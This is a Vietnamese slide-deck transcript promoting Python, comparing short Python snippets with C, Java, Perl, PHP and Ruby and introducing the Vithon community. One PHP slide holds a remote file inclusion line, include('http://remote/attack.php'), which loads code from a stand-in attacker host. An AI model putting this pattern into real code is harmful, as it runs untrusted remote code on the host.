python for the rest of life
Post on 14-May-2015
5.778 Views
Preview:
DESCRIPTION
TRANSCRIPT
http://www.bluemoon.com.vn
Python, ngôn ngữ lập trình cho phần đời còn
lại
Nguyễn Thành Nam
http://www.vithon.org
TPHCM, 2008-11-15
Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – contact@bluemoon.com.vn
Nội dung• Kinh nghiệm bản thân• Giới thiệu Python• Nguyên lý căn bản của Python• So sánh với ngôn ngữ khác• Giới thiệu Vithon• Hỏi và cùng trả lời
Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – contact@bluemoon.com.vn
Kinh nghiệm bản thân• Biết đến Python từ 2003• Học trong 5 tiếng• Sử dụng hàng ngày cho đến tận bây giờ• Sáu từ để diễn đạt: Học 5 tiếng, dùng
suốt đời!• Gặp nhiều khó khăn trong việc soạn slide• Gần quên Java và C/C++• Đã quên sạch Perl, PHP và Ruby
Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – contact@bluemoon.com.vn
Giới thiệu Python• Ra đời năm 1991• Tác giả Guido Van Rossum, Hà Lan• Là ngôn ngữ lập trình
• Tổng quát• Kịch bản (scripting)• Kiểu vịt (duck typing)• Kiểu động (dynamic typing)• Nhưng có kiểu (strongly typed)
• Kèm sẵn pin (Battery included)
Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – contact@bluemoon.com.vn
Nguyên lý căn bản của Python• Ưu tiên cho việc đọc lại code
• Khoảng trắng bắt buộc• Hạn chế sử dụng ký tự đặc biệt• Chương trình phải được viết ra để cho
người đọc, và chỉ là sự trùng hợp để máy tính thực thi (Abelson & Sussman, MIT)
• Sự đơn giản được xem trọng• Đã có while, nên bỏ do-while• Đã có elif, nên bỏ switch-case
Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – contact@bluemoon.com.vn
Nguyên lý căn bản của Python• Ngôn ngữ khác có hộp, Python có thẻ
Ngôn ngữ khác (biến)
Python (tên)
a = 1
a = 2
b = a
Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – contact@bluemoon.com.vn
Nguyên lý căn bản của Python• Kiểu cơ bản: int, long, float, dãy
(sequence), từ điển (dictionary)• A = 123 # int• B = 123456789123456789 # long• C = 123.456 # float• D = (1, 2, 3) # tuple• E = [1, 2, 3] # list• F = “12345” # string• G = { 1 : ‘abc’, 2 : “def” } # dictionary
Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – contact@bluemoon.com.vn
Nguyên lý căn bản của Python• Cấu trúc lặp và điều khiển
• if/elif/else• while• for
• Xử lý biệt lệ• try/except• try/finally• try/except/else• try/except/finally (Python 2.5+)
Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – contact@bluemoon.com.vn
Nguyên lý căn bản của Python• Khai báo hàm bằng def• Khai báo lớp bằng class• Đa kế thừa (multiple inheritance)• Tất cả mọi đối tượng (gói, mô-đun, lớp,
hàm, biến, v.v…) đều chỉ là “tên” trong không gian tên (namespace) tương ứng
• Và chỉ đơn giản như thế thôi!
Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – contact@bluemoon.com.vn
Perl
~!@#$%^&*()
Ruby
~!@#$%^&*()
Python
~%^&*()
So sánh với ngôn ngữ khácTính dễ đọc
Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – contact@bluemoon.com.vn
C
int a, b, t;
t = a;
a = b;
b = t;
Python
a, b = b, a
a, b, c=b, c, a
So sánh với ngôn ngữ khácHoán vị 2 số
Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – contact@bluemoon.com.vn
JavaBigInteger a, b, c;
a = new BigInteger(“12345678901234567890”);
b = new BigInteger(“12345678901234567890”);
c = a.multiply(b);
Pythona = 12345678901234567890
b = 12345678901234567890
c = a * b
So sánh với ngôn ngữ khácTính toán số lớn
Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – contact@bluemoon.com.vn
JavaSystem.out.print(a[0]);
for (int i = 1; i < a.length; i++) {
System.out.print(“ “ + a[i]);
}
Pythonprint “ “.join(a)
So sánh với ngôn ngữ khácIn các phần tử trong mảng n > 1
Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – contact@bluemoon.com.vn
JavaSystem.out.print(a[0]);
for (int i = 1; i < a.length - 1; i++) {System.out.print(“ “ + a[i]);
}System.out.print(“ va “ + a[a.length – 1]);
Pythonprint “ “.join(a[:-1]), “va”, a[-1]
So sánh với ngôn ngữ khácIn các phần tử trong mảng n > 1
Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – contact@bluemoon.com.vn
Java// too many lines
// to show
// here
Pythonf = open(filename, “rb”)
d = f.read()
f.close()
So sánh với ngôn ngữ khácĐọc file
Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – contact@bluemoon.com.vn
Perlopen(DATA, “filename”);
while ($line = <DATA>){
print $line;
}
close(DATA);
Pythonf = open(filename, “r”)
for line in f:
print line
f.close()
So sánh với ngôn ngữ khácĐọc từng dòng
Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – contact@bluemoon.com.vn
Javafor (int i=0; i < a.length; i++) {
if (a[i] % 2 == 0)
b.add(a[i]);
}
Pythonb = [x for x in a if (x % 2) == 0]
So sánh với ngôn ngữ khácLọc phần tử trong mảng
Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – contact@bluemoon.com.vn
PHP$file = fopen(“http://www.google.com”);
Pythonimport urllib2
r = urllib2.urlopen(“http://www.google.com”)
So sánh với ngôn ngữ khácLấy file từ URL
include(“http://remote/attack.php”);
Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – contact@bluemoon.com.vn
PHPstrrev(“abc”);
Ruby“abc”.reverse
Python“abc”[::-1] # cba
So sánh với ngôn ngữ khácĐảo chuỗi
Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – contact@bluemoon.com.vn
PHPgzdeflate(base64_decode(base64_encode(gzcompress(“abc”))))
Python“abc”.encode(“zlib”).encode(“base64”).decode(“base64”).decode(“zlib”)
So sánh với ngôn ngữ khácChuyển mã
Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – contact@bluemoon.com.vn
PHPN/A
PythonVí dụ chương trình cờ tướng
sử dụng AJAX với tính năng trò chuyện viết trong 48 tiếng đồng hồ.
So sánh với ngôn ngữ khácỨng dụng web
Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – contact@bluemoon.com.vn
Giới thiệu Vithon• Vietnamese Python• Python cho người Việt• Do người yêu thích Python• Cho người yêu thích Python• Tài liệu, diễn đàn, dự án, bài viết, bài dịch• Hãy cùng tham gia• http://www.vithon.org• Python là số một nha!
Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – contact@bluemoon.com.vn
Cảm ơn
Life is short, use Python!
Python cho phần đời còn lại!
Nguyễn Thành Nam
namn@bluemoon.com.vn
Blue Moon Consulting Co., Ltd © 2008 – http://www.bluemoon.com.vn – contact@bluemoon.com.vn
Hỏi và cùng trả lời
top related